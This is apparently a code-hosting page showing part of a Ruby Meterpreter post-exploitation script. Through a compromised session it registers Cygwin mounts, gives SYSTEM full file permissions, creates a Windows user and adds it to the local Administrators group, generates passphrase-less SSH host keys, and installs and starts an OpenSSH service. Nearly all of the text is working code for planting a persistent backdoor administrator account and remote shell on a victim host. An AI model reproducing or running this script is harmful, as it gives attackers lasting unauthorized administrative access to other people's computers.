||||||
|
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/usr/bin")
|
||||||
|
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/usr/bin", "native", "#{dirname}/bin")
|
||||||
|
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/usr/bin", "flags", 10, "REG_DWORD")
|
||||||
|
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\Program Options")
|
||||||
|
|
||||||
|
#
|
||||||
|
# Provide ACL for System User
|
||||||
|
#
|
||||||
|
client.sys.process.execute("cacls.exe", "#{dirname} /E /T /G SYSTEM:F")
|
||||||
|
|
||||||
|
#
|
||||||
|
# Add windows-user if requested
|
||||||
|
#
|
||||||
|
unless username == "none"
|
||||||
|
if password == nil
|
||||||
|
print_error("You need to provide a nonempty password for the user with the \"-p\"-parameter!")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
|
||||||
|
#Get localized name for windows-admin-grp
|
||||||
|
admingrpname = nil
|
||||||
|
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\groupnames.txt")
|
||||||
|
sleep 1
|
||||||
|
fd = client.fs.file.new("#{dirname}\\groupnames.txt", "rb")
|
||||||
|
while not fd.eof?
|
||||||
|
linesarray = fd.read.split("\n")
|
||||||
|
linesarray.each { |line|
|
||||||
|
if line[0..4] =~ /[aA]dmin/
|
||||||
|
admingrpname = line.slice!(/[aA]dmin[a-z]+/)
|
||||||
|
end
|
||||||
|
}
|
||||||
|
end
|
||||||
|
fd.close
|
||||||
|
sleep 2
|
||||||
|
client.fs.file.rm("#{dirname}\\groupnames.txt")
|
||||||
|
print_line("Adding user #{username}....")
|
||||||
|
client.sys.process.execute("cmd.exe", "/c net user #{username} #{password} /ADD /HOMEDIR:#{dirname}")
|
||||||
|
print_line("Add user #{username} to #{admingrpname}")
|
||||||
|
client.sys.process.execute("cmd.exe", "/c net localgroup #{admingrpname} #{username} /ADD")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate /etc/passwd + /etc/group files
|
||||||
|
#
|
||||||
|
print_status("Generating /etc/passwd + /etc/group files....")
|
||||||
|
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkpasswd.exe -l > #{dirname}\\etc\\passwd")
|
||||||
|
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\etc\\group")
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate SSH-keypairs
|
||||||
|
#
|
||||||
|
print_status("Generating SSH-keys .....")
|
||||||
|
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t dsa -f /etc/ssh_host_dsa_key -N \"\"")
|
||||||
|
sleep 1
|
||||||
|
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t rsa1 -f /etc/ssh_host_key -N \"\"")
|
||||||
|
sleep 1
|
||||||
|
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t rsa -f /etc/ssh_host_rsa_key -N \"\"")
|
||||||
|
|
||||||
|
#
|
||||||
|
# Add OpenSSH - Service
|
||||||
|
#
|
||||||
|
print_status("Adding OpenSSHd-Service.......")
|
||||||
|
if type == manual
|
||||||
|
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --type manual --disp \"#{servicedesc}\"")
|
||||||
|
else
|
||||||
|
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --disp \"#{servicedesc}\"")
|
||||||
|
end
|
||||||
|
print_status("Service successfully installed!")
|
||||||
|
sleep 2
|
||||||
|
|
||||||
|
#
|
||||||
|
# Save "settings" to txtfile, to be able to del correct user etc afterwards
|
||||||
|
#
|
||||||
|
uninstallfile = "#{dirname}\\etc\\uninst.bak"
|
||||||
|
uf = client.fs.file.new(uninstallfile, "w")
|
||||||
|
uf.write "#{username} \r\n"
|
||||||
|
uf.write "#{servicename} \r\n"
|
||||||
|
uf.close
|
||||||
|
|
||||||
|
|
||||||
|
# Run OpenSSH-service unless noauto was specified
|
||||||
|
unless noauto
|
||||||
|
print_status("Starting OpenSSH-Service....")
|
||||||
|
client.sys.process.execute("cmd.exe", "/c net start #{servicename}")
|
||||||
|
sleep 1
|
||||||
|
print_status("OpenSSHd has been started!")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Display OpenSSH-Hostkey, so that user may pass this to sshclient-script directly
|
Loading…
Reference in New Issue
Block a user